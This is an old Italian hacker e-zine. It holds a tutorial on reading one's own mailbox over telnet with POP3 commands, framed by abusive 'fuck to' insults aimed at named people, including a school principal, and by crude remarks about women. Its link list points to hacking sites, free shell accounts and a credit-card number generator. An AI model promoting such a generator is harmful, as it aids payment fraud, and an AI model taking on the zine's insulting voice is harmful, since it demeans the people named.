Mad - Se non ci fossi tu a tenermi compagnia nelle lunghe sere..
Jarod[KM] - 6 grande anche tu.. e 6 anche simpatico !!!
-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\
-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/
Se abbiamo ringraziato qualcuno mandiamo anche a fanculo qualcuno..
FUCK TO:
Ricky Martin (di Ostuni): Le proteine fanno marcire il cervello.. Tu ne sei la prova
The Daemon: 6 un hacker ? E che te ne fai di un pass e di un login di Tin.it ?
A quelli che si credono hacker anche se non sanno neppure come si scrive
IO NON HO PAURA DI VOI.. MA VOI AVETE PAURA DI ME !!!
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
Screener_it
/===========================::=============================::=================/
/ /Pop3 / mR_bIs0n /
/===========================::=============================::=================/
Titolo: Leggere le mail da telnet, ovveri i comandi POP3 spiegati e
commentati
Autore: mR_bIs0n
Musica ascoltata: Alien Ant Farm - Smooth Criminal
Dickies - Killer Klown From Outer Space
Ramones e NoFx varii
Consumo: ora vedo che c'è da mangiare... NULLA!
Saluti a: tutti li amici di chat (troppi), li amici di classe, a tutti
li punk del mondo, a Francesca
Fucks to: Preside Prof. Basile Vittorio, un grande pezzo di merda
Possiamo inizià
Bellaaa ragazzi oggi sto a casa ammalato e vi spiego come fare a leggere le
mail da remoto, tramite il telnet e i comandi POP3.
Innanzitutto spieghiamo cos'è il POP3 (Post Office Protocol): sarebbe il
protocollo che consente agli utenti di accedere alle caselle di posta e di
recuperare le e-mails.
Di solito la porta utilizzata dal server POP3 è la 110. Quando ci
colleghiamo col telnet al
server e alla porta 110 stabiliamo una connessione con esso e il server ci
saluta pure!
telnet popmail.libero.it:110
+OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E
B63336A@pop2.libero.it>
Ricordiamoci che i comandi solitamente sono seguiti da parametri da noi
scelti.
Esistono due indicatori di stato: +OK (positivo) e -ERR (negativo).
Una volta collegati, dopo che il server si è presentato, si entra nella
sezionedetta 'AUTHORIZATION'. In questo momento il server si deve
identificare l'utenza. Solo una volta che il server ha riconosciuto
l'utente, possiamo passare nella sezione detta 'TRANSACTION'. In questa
sezione si può interagire e fare le proprie scelte. Dopodicchè, quando ci
disconnettiamo dal server, quest'ultimo entra nella sezione detta 'UPDATE',
e cioè aggiorna i nostri cambiamenti e infine ci saluta.
Mi sa' che il server aspetta 10 minuti prima di disconnettere se ancora non
vi siete identificati.
Ma passiamo alla pratica. Esistono due metodi di identificazione, il
classico e quello tipo 'APOP'. Vi spiego solo il primo (più semplice).
telnet popmail.libero.it:110
+OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E
B63336A@pop2.libero.it>
...siamo connessi...
ora inseriamo il nostro user e la nostra pass:
user sono_gay@libero.it
+OK Password required
pass menevanto
+OK 88 messages
(l'esempio non è autobiografico!) |
in questo caso tutto è andato bene, ci ha accettati e ci ha detto quanti
messaggi contiene la mailbox, 88 appunto.
Se qualcosa va storto...
-ERR invalid user or password
ritentate, scrivete con calma senza fare errori o correzioni!
Abbiamo passato lo stato di AUTHORIZATION e ora ci troviamo in TRANSACTION.
Bene ora passiamo ai comandi:
stat
+OK 88 878599
Col comando STAT ci facciamo dire quanti messaggi di posta ci sono e quant'è
la grandezza di tutti essi.
list
+OK
1 1647467
2 2458881
3 3256
...
88 354235
con questo comando possiamo vedere la lista dei messaggi contenuti nella
mail box e tutti corrispondono ad un numero.
list 4
+OK
4 534553
così vediamo solo una mail.
retr 3
+OK 3256 bytes
Return-Path: <mortacci@tua.it>
Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042)
id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200
Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it
(6.0.021)
id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200
Received: (from majordomo@localhost)
by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976
for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200
[...] (tante altre coseeeee)
possiamo leggere il contenuto delle mail, sconsiglio di usarlo, al massimo
settate il buffer del
vostro client telnet molto alto, in modo da poterle leggere.
dele 34
+OK message marked for deletion
in questo modo marchiamo la mail che deve essere cancellata, dopo il quit,
verrà eliminata.
noop
+OK
ignoro l'utilizzo di questo comando, mi sono documentato e non dice nulla.
Forse potrebbe servire a controllare se il server, magari tra una operazione
e un'altra, è ancora attivo.
rset
+OK
se abbiamo marcato dei messaggi per essere eliminati, facendo questo
comando, annulliamo ogni marcatura.
quit
+OK POP3 server closing connection
quittando il server esegue tutti gli ordini impostati prima.
top 3 10
+OK 3256 bytes
Return-Path: <mortacci@tua.it>
Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042)
id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200
Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it
(6.0.021)
id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200
Received: (from majordomo@localhost)
by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976
for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200
[...] (solito header completo)
(+ le prime 10 righe del messaggio) |
molto utile, in questo modo leggiamo le prime righe dei messaggi, così da
capire se magari possiamo cancellarle o meno.
Esiste anche il comando UIDL, ma è anche difficile, quindi lasciamo perdere
anche questo (a dirla tutta, nemmeno io l'ho capito bene bene...).
Ricapitolando:
Comandi validi nello stato AUTHORIZATION
USER username
PASS password
QUIT
Comandi validi nello stato TRANSACTION
STAT
LIST [numero del messaggio]
TOP [numero del messaggio] [fino alla riga]
RETR [numero del messaggio]
DELE [numero del messaggio]
NOOP
RSET
QUIT
Oki, per ora è tutto, forse ci saranno altri miei arts, ci si bekka!
mR_bIs0n
/===========================::=============================::=================/
/ /Links / syn /
/===========================::=============================::=================/
Basta con i soliti link, passa ai link che ti offre dirtynet, ovvero l'immmondizia
dell'immondizia è comune !
Non sono molti ma accontentatevi...
http://www.max.rcs.it sito di max :)
http://goolink.supereva.it/?p razza femminile
http://letteratura.freeweb.supereva.it Letteratura
http://www.sidaweb.com/pres.feminin.htm condom femminile!
http://unlimited-tech.net/ web ftp
http://www.spippolatori.com italian hack
http://www.yakuzaonline.net free account shell
http://www.psychoid.lam3rz.de psybnc
http://www.twlc.net hack
http://www.freedomshell.com free account shell
http://www.unseen.org/~simpson/eggdrop eggdrop precompilati
http://www.calendariomania.com calendari :)
http://www.vectorlounge.com/04_amsterdam/jam/wireframe.html gioco sfizzioso davvero!
http://www.guidainlinea.com/portale.htm guide e libri gratis
http://www.linuxzine.it/ art e linux
http://www.elfqrin.com/DisCard.html generatore di card di credito
http://members.xoom.it/vetranks2000/superhacker.AzzurraNet.log il re dei lamer è svelato!
http://www.mplayerhq.hu mplayer
http://www.belledonne.com razza femminile
/===========================::=============================::=================/
/ /Outro / syn /
/===========================::=============================::=================/
Gente vi saluto.
Aspettando il prossimo numero di dn (se ci sarà un domani...) vi posso consigliare
di scaricare qualche foto di Aria Giovanni. Ah per tutti quelli che non sanno
chi è (ovvio), è una pornostar che appare essere na patatona di primo genere :)
Apparte gli scherzi, adesso il team penso si prenderà una pausa; intanto si
organizzerà meglio, acquisirà nuovi membri (lo spero!) e si preparerà all'uscita
di dn8 che speriamo tutti sia zeppa di art.
Che Dio ci assista (il seguente messaggio non vale per i lettori satanici).
syn
www.accaet.da.ru
www.brokerall.da.ru
Ringraziamenti e saluti by syn
team accaet
Giada l'amore di Jrash
Gollo Scafuti Chip mio cugino e il suo negozio di computer
Immacolata una bella fanciulla
Nicola mio amicone
Angelocattivo mio amicone di chat (buon anima)
Linux mio amicone di ...sistema :)
Agnello mio amicone
Fons' a patan' mio compagno
La mamma di Armando ! :)
Norma mio amicone
Pinturicchio grande Del Piero
Salernitana la mitica squadra, w Zeman
Rutelli il mitico politico
pagnotta è il cognome della mamma di un mio amico :)
Blinky mia amicona di chat (buon anima)
NCKxxx mio amicone di chat (buon anima)
Sara e Claudia due belle fanciulle vicine di casa
zapotecz mio amicone di chat
fabry e crycek miei amiconi
uazz mio cugino
tutti quelli di #severi grandi
tutti quelli di #zapolandia grandi
Roberto Benigni il mitico comico
Aria Giovanni vedi outro :)
"Goodbye, all you people, there's nothing you can say
to make me change my mind, goodbye"
-Pink Floyd, The Wall-
#EOF#